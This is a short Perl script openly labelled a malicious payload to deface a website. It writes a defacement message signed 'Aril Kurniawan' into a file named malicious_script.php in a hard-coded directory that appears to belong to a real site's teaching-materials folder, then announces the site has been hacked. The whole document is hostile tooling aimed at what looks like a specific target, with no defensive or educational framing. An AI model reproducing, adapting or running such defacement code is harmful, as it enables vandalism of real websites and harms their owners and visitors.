#!/usr/bin/perl
use strict;
use warnings;
# Malicious payload to deface a website
my $defacement_payload = <<'END_PAYLOAD';
Website Defaced by Aril Kurniawan
Don't panic, this is just a friendly message!
But you should definitely check your security measures. Aril Kurniawan was here!
END_PAYLOAD
# Specify the target directory for the uploaded file
my $target_directory = "/home/valeria/www/materiale-didattico/quinta/";
# Specify the target file name
my $target_filename = "malicious_script.php";
# File path of the target website's index file
my $target_index_file = $target_directory . $target_filename;
# Attempt to write the defacement payload to the target index file
if (open(my $fh, '>', $target_index_file)) {
print $fh $defacement_payload;
close($fh);
print "Defacement successful. The website has been hacked!\n";
} else {
die "Defacement failed. Unable to write to the target index file '$target_index_file': $!";
}